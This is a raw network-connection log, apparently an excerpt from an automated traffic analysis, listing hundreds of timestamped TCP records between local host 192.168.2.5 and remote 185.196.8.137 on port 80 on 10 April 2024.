Apr 10, 2024 10:24:11.328301907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328301907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328361034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328361034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328361034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328428030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328428030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328428030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328484058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328484058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328484058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328515053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328536987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328572035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328598976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328598976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328649044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328649044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328715086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328715086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328715086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328787088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328787088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328787088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328851938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328851938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328851938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328922987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328922987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328922987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328991890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328991890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328991890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329066038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329066038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329066038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329128027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329128027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329128027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329197884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329197884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329197884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329261065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329261065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329261065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329397917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329397917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329397917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329447985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329447985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329474926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329499960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329514027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329552889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329552889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329579115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329607010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329621077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329689980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329689980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329689980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329751015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329751015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329766989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329788923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329824924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329824924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329890013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329890013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329890013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329936981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.329936981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330003977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330003977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330003977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330069065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330069065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330069065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330140114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330140114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330140114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330157042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330224037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330224037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330224037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330286026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330286026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330286026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330348969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330348969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330348969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330410957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330410957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330410957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330481052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330481052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330481052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330543995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330543995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330543995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330785990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330785990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330822945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330952883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.330986977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331020117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331032991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331063986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331098080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331531048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331531048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331531048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331531048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331574917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331574917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331691027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331691027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331691027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331738949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331738949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331757069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331787109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.331818104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332025051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332150936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332150936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332180023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332204103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332238913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.332304955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334420919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334491968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334491968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334491968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334508896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334578037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334578037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334578037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334635973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334635973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334635973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334680080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334680080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334741116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334741116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334741116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334753990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334820032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334820032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334820032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334841013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334872007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334872007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334919930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334919930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334985018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334985018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.334985018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335000992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335066080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335066080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335066080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335098028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335098028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335136890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335138083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335201979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335201979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335201979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335270882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335270882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335270882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335330009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335330009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335330009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335392952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335392952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335392952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335453033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335515976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335515976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335515976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335580111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335580111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335580111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335622072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335622072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335680008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335680008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335680008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335733891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335733891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335733891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335777044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335777044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335838079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335838079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335838079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335882902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335882902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335937977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335937977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335937977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335999012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335999012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.335999012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336042881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336042881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336086035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336086035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336122990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336122990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336182117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336183071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336183071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336210966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336240053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336260080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336272955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336333990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336333990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336333990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336462975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336658001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336675882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336716890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336731911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336786985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336786985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336786985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336848021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336848021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336848021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336967945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.336967945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337204933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337204933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337218046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337236881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337338924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337338924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337579012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337579012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337579012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337652922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337652922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337652922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337668896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337734938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337918997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337918997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337934971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.337948084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338052988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338052988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338052988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338184118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338453054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338453054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338453054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338498116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338498116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338565111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338565111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338565111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338625908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338625908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.338625908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341422081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341494083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341494083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341494083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341622114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341622114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341686010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341686010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341686010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341790915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341851950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341851950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341851950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341926098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341984034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341984987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.341984987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342068911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342068911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342130899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342130899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342130899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342303991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342303991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342376947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342376947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342443943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342443943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342443943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342468977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342523098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342523098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.342523098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343267918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343379021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343379021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343417883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343417883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343444109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343538046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343585968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.343599081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344114065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344182014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344182014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344202042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344263077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344331980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344331980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344331980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344381094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344381094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344599962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344599962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344656944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344656944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344656944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344722033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344722033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.344722033 CEST	49718	80	192.168.2.5	185.196.8.137
